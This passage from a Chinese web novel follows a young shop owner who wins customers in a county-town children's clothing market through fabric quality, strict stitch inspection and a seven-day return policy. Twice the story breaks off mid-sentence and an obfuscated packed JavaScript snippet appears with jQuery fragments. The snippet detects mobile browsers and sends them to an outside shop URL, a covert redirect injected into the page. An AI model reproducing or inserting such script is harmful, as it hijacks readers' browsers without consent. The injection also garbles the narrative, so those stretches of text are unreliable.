王猛的牙齿咬得咯咯响,手里的拖把杆都快被他攥断了:
“那也不能让他这么欺负人!咱们的衣服明明是好东西,用的是最好的新疆长绒棉,缝得又仔细,他这么造谣,别人都不敢来买了,咱们的生意还怎么做?”
林凡松开手,转身走到柜台后,拉开那个有点旧的木头抽屉——
抽屉拉开时还“吱呀”响了一声,里面整整齐齐叠着几块布料样本,有浅粉、浅蓝、米白三种颜色,都是用塑料袋封好的。
他拿出一块浅粉色的样本,递到王猛手里:
“欺负人?咱们用品质打回去,比吵嘴管用。你摸这布料,是我新让新疆阿克苏的厂家寄来的样本,纤维长度达到38毫米,比国家童装面料的标准还高出22.6%——
国家规定童装用棉的纤维长度不能低于31毫米。去年行业协会做过测试,这种新疆长绒棉面料,经过50次水洗后,依然能保持85%的柔软度,普通棉花洗30次就硬得像纸板了。”
林凡说着,又从衣架上展开一件刚做好的米白色童装,指着领口说:
“你看这领口,我特意加了双层棉,孩子穿的时候不勒脖子;袖口用的是松紧带,洗了不会松垮。
钱老西的衣服就算卖得再便宜,用的是等外棉,里面还掺了化纤,洗三次就硬化,还起球,顾客穿两次就知道不好了,迟早会明白一分价钱一分货的道理。”
王猛捏着布料样本,感受着手里的柔软,又看了看那件童装的细节,胸口的火气慢慢降了下去,点了点头:
“哥,我听你的,咱们不跟他一般见识,就用品质说话!下次他再造谣,咱们就把质检报告和面料样本摆出去,让大家自己看!”
2018年的中国县城童装市场,正深陷“低价内卷”的泥沼。
据中国服装协会当年数据显示,县城童装市场规模约1200亿元,其中65%的份额被义乌、广州等地的低价尾货占据——
这些尾货多是库存积压款或简易加工品,成本极低但质量堪忧,甲醛超标、面料起球是常态。
彼时县城商业街的童装均价,短袖普遍35元、外套60元,可钱老西却凭着义乌尾货的成本优势,把三家门店的橱窗贴满“短袖19元、外套39元”的红底黄字标语。
他的货源每件成本比正经厂家低40%,单件短袖成本仅8元,靠着“赔本赚吆喝”的低价策略,硬生生抢下整条街60%的客流。
跟着降价的小商户们很快陷入绝境:
街西头“童乐屋”老板咬牙把外套降到35元,可成本就要32元,月利润从8000元暴跌到不足2000元,连房租都快覆盖不了;
“宝贝衣橱”更惨,降价后每件衣服利润仅剩3元,还得承担库存损耗——
有次进的50件牛仔裤,因面料是回收棉,顾客穿一周就开线,退回来12件,最后老板索性挂出“转让”招牌,转行去开了水果店。
林凡的“笑笑童装店”刚开半年,就被这场价格战挤压得门可罗雀。九月的一个傍晚,县城已经有了凉意;
他守着空荡荡的店铺直到七点,只卖出3件特价短袖,日销量不足20件的日子已持续半个月。
对面钱老西的门店里,家长们挤在货架前挑衣服,孩子们拿着19元的短袖打闹,对比之下,他的店里连试衣间的灯都没开过。
林凡攥着泛黄的账本叹了口气:账本上记着每月4500元的房租,进货时欠批发商的2万元还没还,货架上的衣服因没人翻动,边角都起了皱。
他盯着那些皱巴巴的衣服,突然打定主意:不跟低价拼消耗,要靠“品质+服务”凿出一条差异化的路。
林凡靠在县城童装店的玻璃柜台上,指尖无意识摩挲着货架上一件印着小熊的卫衣——面料摸起来像砂纸,领口的螺纹一扯就松垮,是上周从尾货市场收来的便宜货。
窗外,卖菜的张婶正领着孙女进店,孩子的袖口磨得发亮,小手一直揉着胳膊:“奶奶,痒。”
张婶拿起那件小熊卫衣,又放下,指尖在标签上蹭了蹭:
“凡啊,这衣服是便宜,可上次买的那件,洗了一次就缩得穿不上了,孩子哭着说同学笑她衣服变小了。”
她声音压得低,却藏不住无奈,“我们不是舍不得给娃花钱,是怕买着‘看着省钱,穿了闹心’的——要么磨皮肤,要么线头勾住头发,要么穿两次就变形,最后还是得扔,反倒亏了。”
林凡看着孩子委屈的模样,又摸了摸那件尾货卫衣的粗糙面料,忽然想起前几天李姐来退货的场景:
她攥着一件起球的外套,眼圈红红的,说孩子穿着去幼儿园,被小朋友说“衣服旧旧的”,回来就不肯再穿了。
那一刻,他忽然明白,县城家长要的不是“便宜”,是“值当”——是孩子穿得舒服、体面,是衣服能经得起洗晒,能让孩子穿得久一点。
他把那件尾货卫衣从货架上拿下来,塞进角落的箱子里。
阳光从窗外照进来,落在货架上几件他特意找工厂定制的纯棉T恤上,面料柔软得能裹住指尖,领口的螺纹紧实有弹性。
林凡忽然下定决心:要打破低价魔咒,就得先跳出“尾货圈”——得找靠谱的工厂,做真正让家长放心、让孩子舒服的衣服,哪怕利润薄一点,也比看着孩子委屈、家长无奈强。
他花了两周时间,把苏州、无锡的童装代工厂跑了个遍。
六月的江南总裹着黏腻的暑气,他的球鞋鞋底磨出了浅沟,帆布包里的笔记本记满了密密麻麻的字:工厂地址、面料成分、检测报告编号,页脚还沾着工厂车间飘来的棉絮。
最后站在苏州工业园区顺和服饰的大门前时,他攥着被汗水浸软的笔记本,终于松了口气;
这家厂的院墙爬着翠绿的藤蔓,车间的玻璃窗擦得透亮,能看见里面工人戴着白色手套,正把叠得方方正正的童装装进印着外文的纸箱。
后来他才知道,顺和是当地小有名气的出口代工厂,常年给日本母婴品牌“千趣会”、韩国“阿卡邦”代工。
车间角落的展示架上,欧盟Oeko-TexStandard100认证证书塑封得发亮,旁边摆着检测报告复印件:
甲醛含量≤20mg/kg,面料色牢度达到4级以上——工人特意拿了块样布给他看,“您洗十次试试,这颜色一点都不会掉”。
他指尖划过样布,棉布细腻得像婴儿的皮肤,凑近闻只有淡淡的棉絮香;不像之前去的县城小厂,布料摸起来糙手;
叠布的案板上还沾着没洗干净的染料,老板只含糊说“没检测过,但便宜”,他见过那厂的衣服,洗两次领口就发皱,水还会染成浅粉色。
只是顺和的出厂价,比县城小厂贵了整整一倍。
普通小厂的短袖15元一件,这里要30元。批发商知道后,叼着烟拍他的肩膀,烟味混着汗味扑过来:
“林凡你疯了?
县城人买衣服只看价签!你这短袖要卖50元,谁会买啊?”
他当时正坐在批发商的店里,手里捏着顺和的样布,指腹反复摩挲着布料的纹路,抬头时眼神很亮:
“张哥您看,钱老西家的短袖19元,可家长买回去洗一次,领口就卷成了麻花,下次再也不会买;
我这短袖虽然贵,面料扎实,孩子能穿整个夏天,算下来其实更划算——家长心里都有数,谁不想给孩子穿舒服的?”
第一批升级款,林凡只定了三个款式,却在工厂磨了整整三周。
工厂办公室的日光灯管连闪了两次,他手里的设计稿边缘已磨得发毛,每处花瓣的弧度、每针绣线的密度,都要跟老师傅掰扯到暮色漫进窗户。
有次师傅嫌他较真,把平绣样品往桌上一放:
“县城孩子穿,哪要这么讲究?”
林凡没反驳,只把样品贴在自己手腕上蹭了蹭,指尖触到粗糙的针脚,默默把“花瓣必须锁边”五个字描得更重。
他从不用感觉定款。
每到下午四点半,县幼儿园、城东幼儿园、育才幼儿园的门口就多了两张熟悉的身影——
林凡扛着折叠小桌,王猛抱着印着卡通熊的问卷和削尖的彩色铅笔。金色夕阳把幼儿园铁栅栏染成暖橙,宝妈们挎着帆布包,怀里的小家伙攥着皱巴巴的画纸,有的还在流着口水啃手指。
王猛递问卷时总笑着弯腰:“麻烦您帮孩子选选喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607506|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的颜色”,林凡则蹲得跟孩子一般高,指着问卷上的图案轻声问:
“小朋友,这个黄灿灿的太阳花,是不是比小红花更像小太阳呀?”
两百份问卷发出去,回收的186份里,82%的铅笔印都落在了黄色系图案上,有的孩子还在旁边画了歪歪扭扭的小笑脸。
跟宝妈聊天时,他更听进了心里。
一位穿米色外套的宝妈把孩子的袖子轻轻撸起,手腕处淡粉色的旧印子还没消,她声音发颤:
“上次买的衣服有字母贴布,硬得像小石子,孩子穿了两天就磨红了,晚上哭着说‘胳膊疼’,
现在看见带贴布的我都躲着走。”
林凡摸了摸那处旧印,指尖能感觉到皮肤的细腻,他默默在笔记本上画了个圈,旁边写着“所有图案边缘必须磨平,杜绝尖锐”。
于是,主图案定了“笑脸向日葵”,两处优化藏满了心思。
画设计稿时,他总把圆规贴着花瓣边缘转,转完还要用指腹蹭蹭画纸:
“再圆一点,不能有半点扎手的地方”;
选花蕊棉线时,他在面料市场蹲了一下午,老板拿着15元一卷的普通棉线劝他:
“小林,这线看着跟抗菌线没差,能省不少钱。”
他却捏着两卷线对比——
普通线纤维粗硬,抗菌线软得像云朵,贴在手腕上蹭一蹭,连风都带不走暖意。“就要45元的,”他抬头时眼里亮着光,“能抑螨虫,孩子出汗也不会痒得抓胳膊。”
工艺上,他更是“吹毛求疵”到让师傅哭笑不得。
花瓣要锁边绣,比县城常见的平绣多3道工序——平绣每厘米8针,针脚松得能勾住孩子的小指甲;
锁边绣每厘米12针,细得像撒了把碎米粒。张师傅戴着老花镜穿针,嘴里念叨:
“这么细的针脚,一天顶多做十件。”
林凡却守在旁边,等第一件样品绣好,他先把花瓣贴在脸颊上蹭了蹭,又扯着衣角轻轻拽了拽,确认顺滑又结实,才笑着说:
“张叔,您看,孩子扯着跑跳都不会脱线,值。”
袖口“笑笑”二字,他更是比了又比。
宋体样品的折角尖尖的,用手一蹭就有轻微的摩擦感;楷体的笔画圆钝,摸起来像棉花糖的边儿。
他想起白天在幼儿园看见的小家伙,跑跳时总爱抬着胳膊挥来挥去,要是袖口磨到嫩生生的手腕,肯定又要红着眼眶找妈妈。
他把楷体样品揣进兜里,路过玩具店时还特意摸了摸毛绒小熊的爪子——
“就像这样软和,才不会磨疼孩子”。
到货那天晚上,晚风裹着巷口馄饨摊的热气吹过来,又裹着凉意缩回去,气温降到18℃时,林凡的薄外套领口已经沾了层细灰。
他和王猛搬来折叠桌,桌腿在门口青石板上磕出“笃笃”响,台灯插在墙角插座里,暖黄的光刚好罩住摊开的连体衣。
两人披着同款式的灰外套,手指都冻得有点发红,却还是逐件把衣服抻平,检查标准细到让路过的邻居都探头看:
先摸布料有没有结团:指尖贴着新疆长绒棉反复摩挲,像在抚平宣纸的褶皱,纤维该是顺溜的,一碰到起球的地方,指甲就轻轻掐住那处凸起——
“这棉线绞在一起,孩子穿会硌皮肤”,林凡说着把衣服放进次品堆,最后数了数,竟挑出7件;
再翻里子看针脚:
王猛从口袋里摸出软尺,按在缝边一寸寸量,林凡则凑着头数针脚,拇指指甲顺着线迹划过去;
每数完一寸就用铅笔在布角画个小圈,少一针的就捏着衣摆往“待返工”箱子里放,布料摩擦的“窸窣”声里,又挑出5件;
最后对着台灯照绣标:
台灯被挪得更近,光透过布料映出银线的光泽,林凡眯着眼,手指捏着衣摆轻轻转角度,银线没反光的、歪了超过0.5毫米的,都被他指尖点出来,又添了3件。
王猛翻到第三十件时,揉眼睛的动作重得像要把眼球搓热,眼角还挂着点生理性的泪,打哈欠时下巴都抬得发僵:
“凡子,咱这比厂家质检还严,顾客买衣服就看个款式,谁会凑这么近看绣标?”他说着把软尺卷起来,指节因为用力有点发白。
林凡却没抬头,正拎着件歪了半毫米的连体衣,指腹蹭过绣标上的小太阳,能摸到银线细微的凹凸感:
“你去钱老西店里看过没?
第四十一章:灯下的质检
上次我路过,看见有宝妈拿着件向日葵外套跟店员吵,那花瓣是机器印的,洗两次就掉渣,露出里面糙得扎手的回收棉,线头粘在孩子衣领上,宝妈急得眼圈都红了。”
他把衣服放进次品堆时,动作轻得像怕碰坏了什么,“咱这招牌,差一点就是给顾客退货的理由——
宝妈们给孩子买衣服,比给自己买还仔细,袖口的针脚、领口的布料,哪处细节没做好,她们一眼就能看出来,咱不能让人家抱着希望来,拿着糟心的衣服走。”
那些挑出来的15件次品,叠得整整齐齐,林凡没像其他商户那样“偷偷混着卖”,而是找了个新纸箱,每层都垫了软纸,还附了张手写的质检报告;
连“第3件左袖针脚少2针”“第11件绣标偏移0.8毫米”都标得清清楚楚,要求工厂重新加工。
工厂老板来取货时,接过报告翻了两页,手指在“返工要求”那栏顿了顿,抬头看林凡的眼神里多了点佩服:
“县城商户里,你是第一个跟我们要‘返工报告’的,连针脚数都标得这么细。”
第二天开店时,晨阳正斜斜地淌进橱窗,把挂在最前排的碎花小外套染得暖融融的。
林凡从柜台后拎起件绣着小雏菊的卫衣,特意指尖捏着绣标边缘,对着阳光举得高高的——
那花蕊里的银线立刻泛出细碎的光,像撒了把星星碎,他笑着冲刚进门的宝妈晃了晃:
“您瞧这细节,太阳底下一照就亮,钱老西家的仿品绣不出这劲儿来。这哪是图案啊,就是咱的‘防伪标’,洗十次都不会暗。”
来的是常逛的李姐,手里牵着刚满2岁的妞妞。妞妞扎着俩软乎乎的羊角辫,小手正拽着李姐的衣角,眼睛直勾勾盯着橱窗里的小熊玩偶卫衣。
李姐蹲下来,把林凡手里的卫衣凑到妞妞面前,指尖轻轻蹭过绣标:“上次在别家买的小熊衫,洗一次绣标就卷了边,妞妞还哭了好一会儿。
你这摸着就结实,针脚密得都看不见线头。”说着她掏出手机,特意调了近景拍绣标,又翻出加绒的灯芯绒裤子,捏着裤腿给林凡看:
“妞妞总爱爬着玩,膝盖那儿磨破好几条裤子了。你这裤子绒厚,针脚还比别家密两圈,肯定耐穿——我再拿件粉色的,配她那双小靴子正好。”
后来李姐真成了店里的常客,没过一周就拉了小区里10多个宝妈,建了个“笑笑童装团购群”。
每次林凡上新,她总先在群里发细节图,连衣服内衬的包边都拍清楚,还说“我家妞妞试过了,舒服不闷汗”,带头下单的总是她。
那天收工时,柜台后的竹篮里堆着厚厚一叠小票,光升级款的卫衣就卖了42件——
比前一周的日均销量整整翻了倍。傍晚的夕阳把店里染成橘红色,林凡坐在柜台后数营业额,指尖偶尔沾点口水,数得又快又仔细,嘴角的笑意藏都藏不住。
王猛正收拾着挂衣架,刚把最后一件外套叠好,林凡就站起来,拍了拍他的肩膀,力道里带着实打实的开心:
“你看,当初咱抠那几针绣线、多缝两道针脚的功夫,没白费吧?”王猛挠着头笑,手里还攥着刚叠好的小裤子,布料上的阳光味儿,混着淡淡的洗衣液香,暖烘烘的。
初秋的阳光斜斜扫进林凡的童装店,带着刚褪去暑气的暖,落在货架木纹上洇出浅金光斑。叠得方方正正的小卫衣还裹着刚拆包的气息——
混着棉絮的软白味和阳光晒过的淡暖,指尖碰上去能捏出轻轻的绒感。挂杆上的背带裤被穿堂风拂得晃了晃;
哑光塑料小纽扣像颗颗奶白硬糖,撞在一起发出细碎的“嗒嗒”声,可满店的可爱模样,却没等来多少热闹的脚步声。
品质好不容易提上去,林凡正低头核对着进货单,黑色水笔的笔尖在“100码卫衣×20”旁顿了顿——
纸上还留着他早上算库存时画的小勾,墨渍晕开一点。眼角余光忽然黏住几位宝妈,她们在童装区走得慢,像怕碰坏什么似的。
最前头那位扎着低马尾的宝妈,发尾沾着点细碎的**躁,怀里抱着个睡熟的娃娃:
浅蓝的袜子滑到脚踝,露出一小截粉嫩嫩的皮肤,娃娃的小拳头还攥着片皱巴巴的纸巾,呼吸轻轻顶得胸口的小围嘴微微起伏。
她另一只手捏着件鹅黄色连体衣,指腹蹭过衣襟的软绒,轻轻凑到娃娃身上比——
领口刚碰到娃娃的小下巴,娃娃忽然动了动睫毛,她赶紧把衣服往后撤半寸,又退到货架前眯着眼瞅尺码表:
眉头拧成个小小的疙瘩,眉间还压出一道浅印,嘴唇抿着嘟囔:
“这100码现在穿正好,可孩子长得快,过俩月就短了;110码又太肥,袖子能罩到手腕,吃饭都蹭得脏……”
声音压得低低的,怕吵醒怀里的娃。
手指无意识地抠着衣摆的锁边,把那截布料抠出一点点**絮,最后轻轻叹口气,肩膀垮了半分,又把连体衣抻平,慢慢挂回原位,还顺手把旁边歪了的小裙子扶了扶。
旁边穿米白外套的宝妈也跟着点头,手里捏着条深蓝色牛仔裤——
裤脚绣着只小小的灰兔子,耳朵都快被她捏得变了形。
她翻来覆去看裤腰上的尺码标,指甲盖剪得短短的,边缘还带着点倒刺,“是啊,咱们这县城买衣服,不像大城市能退。
上次给我儿子买了件外套,回来才发现拉链不好拉,找店家说‘出门概不退换’,最后只能压箱底,白瞎了几十块……”
话说到最后,声音涩涩的,又把牛仔裤凑到眼前看了看,终究还是轻轻放回货架,还特意往里面推了推,怕碰掉旁边叠着的小毛衣。
林凡站在收银台后,手里的笔顿了半天没落下,墨汁在进货单上晕出个小小的黑点。
他清楚县城服装行业的“潜规则”——
几乎所有店家都把“出门概不退换”当不成文的规矩,有的甚至用粗黑笔写在购物袋上,字恨不得比店名还大,生怕顾客事后找麻烦。
前阵子还有个阿姨来问能不能换尺码,他当时攥着笔杆没敢应,最后阿姨叹着气走了。可刚才宝妈们的样子,他看得明明白白:
不是嫌衣服不好,是怕花了钱买错,怕辜负了想给孩子添件新衣服的心意——那眼神里的纠结,比直接说“嫌贵”更让人心头发紧。
他没再多想,转身从抽屉里翻红纸:抽屉里叠着几沓彩纸,红纸压在最下面,抽出来的时候还带着点静电,贴在手指上。
他找了支粗马克笔,红色的笔帽有点松,拔的时候“咔嗒”响了一声。笔尖在红纸上顿了顿,他身子往前倾了倾,胳膊肘抵着柜台,一笔一划写得格外认真:
“七天无理由退换”——“七天”
两个字写得格外重,笔尖都有点弯了,笔画边缘洇出淡淡的红。
末了还特意把纸往跟前凑了凑,怕写歪,又加了行小字:“尺码不合适、不喜欢都能换,不让您多花一分冤枉钱”,每个字都写得方方正正,像在给人打包票。
写完他搬来小凳子——
塑料的凳面有点发黄,凳腿还缠着圈旧胶带——踩上去的时候轻轻晃了一下,他赶紧扶了扶门框稳住。
把红纸举到店门最显眼的位置比了比,确保正对着路口,来往的人抬头就能看见,又撕了段透明胶带,把红纸的四个角都贴得牢牢的,连边角的褶皱都捋平了。
风从路口吹过来,带着点巷口桂花树的甜香,红纸的边角轻轻掀起来又落下,像在给路过的人招手,倒像给每一个想进店的宝妈,递了颗稳稳的定心丸。
林凡站在门口,看着那片红,手指还攥着剩下的胶带,刚才发紧的胸口忽然松快了,嘴角也悄悄扬了点弧度。
初秋的风裹着街边烤红薯的甜香,林凡刚把红底黑字的“七天无理由退换”告示贴在服装店玻璃上——
胶水还没干透,边角微微卷翘,隔壁卖鞋的张姐就踩着“噔噔噔”的高跟鞋跑了过来。
她围裙上沾着块浅褐色鞋油印,手一搭冰凉的玻璃就“笃笃笃”地敲,嗓门比平时高了两个度:
“林凡,你疯了?你扒着县城转一圈看看,哪家服装店不是把‘出门概不退换’钉在收银台最显眼的地方?”
她往前凑了凑,手指点着告示上的“无理由”三个字,语气里满是急:
“我跟你说俩真事,你可得听进去!就上个月街东头‘童趣屋’,有个宝妈抱着刚满周岁的娃来换外套——
那外套吊牌还没拆呢,淡蓝色的,上面绣着小鸭子,宝妈说回家试了嫌大,想换小一码。
结果店主叼着烟坐在柜台后,眼皮都不抬一下,抓过外套‘啪’地甩在水泥地上,烟圈慢悠悠飘着,张嘴就骂‘你买的时候眼瞎啊?
不会自己看尺码?’
宝妈怀里的娃吓得‘哇’地哭了,她自己脸涨得通红,眼泪在眼眶里打转,攥着外套的手指都泛白,吵到市场管理处也没用,最后只能抱着哭唧唧的娃,捏着皱巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607507|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴的外套自认倒霉;
还有粮油店的老周,头发都白了大半,背也有点驼,上个月扛着袋发霉的面粉来退——
那面粉袋角都潮得发黑,能看见霉点往下掉。
店主叉着腰站在店门口,唾沫星子直往老周脸上溅,骂他‘你是不是故意把面粉放坏了来讹我?’老周手背青筋都暴起来了;
嘴唇哆嗦着想说什么,可话到嘴边又咽了回去,最后还是低着头,颤巍巍地扛着那袋漏了点面粉的袋子往回走,白花花的面粉撒了一路,风一吹,飘得满地都是。”
张姐的担心不是没道理。
林凡收银台的抽屉里,还压着张皱巴巴的县城服装行业调研表——
是之前托朋友做的,他用红笔在“95%商户标注‘不退换’”那行圈了个粗粗的圈,墨迹都晕开了点。
那些“不退换”的牌子,几乎都用红漆写在硬纸板上,钉在各家收银台正上方,字磨得发亮,理由清一色是“小本生意,退换货赔不起”。
他还记得上次去批发市场进货,批发商叼着烟拍他肩膀,语气里满是不屑:“小林啊,听哥一句劝,千万别搞什么退换!
有的人精着呢,穿去孩子生日聚会拍了照,衣服上还沾着蛋糕奶油就来退,到时候你找谁说理去?哭都没地方哭!”旁边几个商户也跟着点头,手里的进货单哗哗响,眼神里都是认同。
但林凡没松口。他转头瞅了瞅店里挂着的童装——
最显眼的那件鹅黄色小裙子,领口还留着点试穿时蹭的奶渍,裙摆上的蕾丝边轻轻晃着。
他伸手摸了摸软乎乎的棉布料,想起上周有个宝妈带着扎羊角辫的女儿来试穿,孩子踮着脚转了两圈,裙摆扬起小小的弧度;
眼睛亮得像星星,可因为袖子长了半寸,宝妈犹豫了半天,最后还是拉着孩子走了,那孩子回头瞅裙子的眼神,他到现在还记得。
“家长给孩子买衣服,最怕的就是‘看着合适,穿了不合身’——”
他声音不高,却透着股坚定,指尖轻轻拂过裙摆的蕾丝,“有的孩子胖,肩宽了穿不下,硬生生把衣服撑变形;
有的孩子长得快,刚买的衣长就短了,穿一次就没法穿。要是能解决这个顾虑,就算我们多费点事,他们宁愿多花点钱。”
告示用红底黑字打印,贴在玻璃门右侧的宣传栏上,边角被早市的风吹得微微卷边,贴出第三天,店里刚收完晨间的热闹,就出了状况。
一位穿蓝色碎花围裙的大妈掀开门帘进来,围裙下摆沾着点干面粉——
像是刚蒸完馒头就跑来了,鬓角几缕灰发被汗贴在脸颊,怀里紧紧抱着件粉色外套。
那外套一看就穿过:
衣领上嵌着两粒干硬的饭粒,米白色的针织边还勾了根线头,袖口沾着点淡淡的污渍。
她另一只手拎着竹编菜篮子,茄子紫得发亮,青椒带着新鲜的绿蒂,几滴水顺着篮沿往下滴,在水泥地上晕开小小的湿痕,还没等落地,就被门口进来的风卷得晃了晃。
王猛正蹲在货架前整理100码的童装,听见动静抬头,见这阵仗赶紧站起来,手伸到一半又顿住;
指尖离外套还有两寸远,眉头轻轻皱起,语气里带着为难:“阿姨,这衣服都穿脏了,您看这饭粒都嵌进线头里了,实在没法退啊!”
林凡从收银台后绕过来,手掌轻轻按在王猛胳膊上——
他手温偏暖,按下去时带着点安抚的劲儿,把王猛往后带了带。
自己接过外套时,手指特意避开那两粒饭粒,指腹蹭到布料,还能感觉到残留的体温。他脸上带着笑,眼角弯出浅淡的弧度:
“阿姨,您先坐那边的藤椅,我给您倒杯热水。”
说着指了指墙角的旧藤椅,椅面上铺着块小花布。
“特意放了枸杞,您从早市跑过来,肯定渴了。”
他转身去操作台拿杯子,白瓷杯上印着只小熊,倒热水时蒸汽往上冒,裹着淡淡的枸杞香,枸杞在水里慢慢舒展,把水染成浅橙红色。
大妈坐在藤椅上,双手捧着杯子,指尖抵着温热的杯壁,愣了好一会儿,才慢慢开口,声音越说越小:
“其实是我家娃穿了两天,昨天跟隔壁小朋友撞了衫,哭着闹着说‘不要跟别人一样’,我瞅着你这告示写着‘七天无理由’,就……就厚着脸皮来了。
没想到你这么痛快。”她说着,接过林凡递来的退款时,指尖有点抖,脸从耳根红到了脸颊,还下意识拽了拽围裙的边角。
第四十二章:童装店的阳光与信任
没过三天,这大妈又掀开门帘进来,这次没拎菜篮子,倒提着个布袋子,进门就扬着嗓门喊:
“林老板!我来买加绒外套!”
风把她的声音吹得亮堂堂的,身后跟着五个宝妈,有的推着婴儿车,有的手里牵着蹦蹦跳跳的孩子,叽叽喳喳的。
大妈把布袋子往收银台上一放,里面是小半袋红通通的小番茄:
“自家阳台种的,没打药,你尝尝!”
她指着货架上的深灰色加绒款:“就要120码的,我家娃上次穿你家衣服,说比别的软和!”
至于那件沾了饭粒的粉色外套,林凡没扔。
他先坐在操作台旁,用指甲轻轻抠掉衣领上的饭粒——干硬的饭粒粘得紧,他抠的时候特意放轻了力道,怕勾坏布料。
接着放进搪瓷盆里,倒了半瓶婴儿洗衣液,瓶身上印着“无荧光剂”,倒出来是淡淡的奶香味。
泡了十分钟,他用软毛刷顺着布料纹理刷,水慢慢变成浅粉色,冲了三遍,直到水里再也没有泡沫。
之后放进海尔婴儿衣物紫外线消毒机,按下开关时,机器发出轻微的嗡嗡声,30分钟后取出来,外套还带着点温热的消毒味。
最后,他把外套挂在收银台旁的展示架上,别了张浅蓝色小卡片,上面写着“已消毒,仅作展示”。
旁边还摆了一小瓶同款洗衣液,有人指着外套问起,他就拿起洗衣液晃了晃,笑着说:
“就算是退换的衣服,我们也会这么仔细处理——
用婴儿专用的洗衣液洗三遍,再消毒半小时。大家给孩子买衣服,图的不就是个安心嘛。”
月底盘点时,店员小苏指尖划过退换货登记本,纸面还留着淡淡的铅笔印——
最上头那行写着“碎花罩衣,张大妈”,她想起老人家来退衣服时的模样:
藏青色围裙还没摘,手里攥着罩衣的衣角,袖口那圈菜籽油渍没洗干净,像撒了把碎金,
“孙子吃饭泼的,我擦了半天没擦掉,怪我没看紧……”话里带着歉意,小苏没提“影响二次销售”,只笑着接过衣服,帮她填了退款单。
剩下四件倒都是崭新的,不过是尺码差了点:有件粉色连体衣买大了一号,宝妈抱着刚会扶站的娃来换,说
“忘了这小家伙这个月又长了两厘米”;还有件牛仔裤买小了,来换的阿姨还顺带拎了袋刚烤的饼干,“上次你们帮我留货,这点心意别嫌弃”。
但账本另一页的红笔数字却透着惊喜:
之前每月回头客总在45人上下,占比刚过30%,这个月数字却跳到了82,55%的占比让小苏一抬头就能撞见熟面孔——
穿米色针织衫的李姐推着婴儿车来,车筐里还放着上次没买完的小袜子;扎着丸子头的王嫂牵着娃,进门就喊“上次试的蓝色外套还有吗”。
这天下午,常来的赵姐抱着件藏青外套走进来,刚坐下就把手机递到小苏面前:
“你看你看,我同事给娃买的钱老西外套,洗一次就起球,袖口那线都开了,像挂了串小毛线球。”
说着她又把自家娃穿的同款外套拽过来,翻出袖口给小苏看:浅灰色里子干干净净,连胸口绣的小鸭子眼睛都没掉,
“我家这个穿俩月了,娃天天在幼儿园爬滑梯、滚垫子,洗了三次还跟新的一样,比贵五块钱值多了!”
正聊着呢,门口又进来个穿格子衬衫的宝妈,手里捧着件叠得整整齐齐的浅蓝连体衣。布料洗得有些发白,领口的螺纹却没松垮,袖口也没起球。
她把衣服轻轻放在柜台上,眼里带着软乎乎的笑:
“这是老大穿的‘笑笑童装’,质量好得很,我想留着给老二穿。今天来订件明年的新款,就要这种软乎乎的料子,娃穿得舒服。”
小苏指尖碰了碰连体衣的布料,还能感觉到洗过无数次后的柔软,像晒过太阳的棉花。
县城市场逐渐稳定后,林凡又把目光投向了乡镇。
他翻了半个月的县城地图和人口数据:县城周边有5个乡镇(李家庄、王集镇、刘村铺、赵湾、陈屯);
常住人口中0-6岁儿童近8000人,其中李家庄1800人、王集镇2100人,是孩子最多的两个镇。
但他跑了两次集市发现,这里的童装大多是10元、20元的地摊货,是比县城尾货更差的“三级货”。
李家庄集市上,有个宝妈给孩子买了件15元的短袖,回家洗了一次就缩水3厘米,孩子穿着紧绷绷的,只能扔了再买;
王集镇的一位奶奶,给孙子买了条20元的牛仔裤,裤腰上的塑料纽扣一扯就掉,孙子差点误食。
林凡跟王猛说:“乡镇家长不是舍不得花钱,是没地方买好衣服——咱去把好货带过去,肯定有市场。”
王猛第一次去李家庄赶集,推的是辆改装过的二八大杠自行车:
后架焊了三层松木货架,每层长80厘米、宽40厘米,能放10件衣服,货架刷了清漆防蛀,还铺了米色帆布(怕灰尘弄脏衣服,帆布是从县城布店买的,25元一米);
车把上绑了个充电小台灯(赶集早,早上六点天没亮,方便顾客看布料细节);车筐里装着两样“神器”:
一块剪下来的新疆长绒棉样品:用来演示“怎么搓都不褪色”,他还带了瓶温水,搓完水还是清的;
一个弹簧小秤:有老人总觉得“衣服轻就是不好”,这秤能称到500克,一件外套约200克,他就跟老人说“这衣服料足,不轻飘,孩子穿着暖和”。
一开始王猛放不开,蹲在角落摆弄货架,连吆喝都不敢。旁边卖红薯的刘大叔看不过去,手里的铁铲往地上一磕,拍了拍他的肩膀:
“小伙子,你这衣服摸着软和,针脚也密,比那边地摊上的强十倍——得喊出来!我这红薯喊了十年‘甜得流蜜’,才有回头客,你这好东西不喊,谁知道?”
王猛红着脸,憋了半天终于喊出来:
“笑笑牌童装,新疆长绒棉,耐洗不缩水,七天能退换!”
这话刚落,就有个拎着菜篮的大娘走过来:
“小伙子,我摸摸你这外套。”
她先捏了捏布料感受厚度,又翻开里子看针脚(里子针脚跟面子一样密),还把袖子抻了抻看弹性,当即说:
“给我来两件110码的,我家孙子穿的地摊货,洗两次就起球,袖口还变形——你这看着就耐穿。”
那天王猛从早上六点卖到中午十二点,总共卖了13件:
8件加绒外套、5件灯芯绒裤子,赚了320元,比县城店里半天的销售额还多。
临走时,买外套的大娘还往他车筐里塞了半袋红薯:
“小伙子实诚,下次赶集还来买。”
王猛推着自行车往回走,一路都在笑,进门就冲林凡喊:
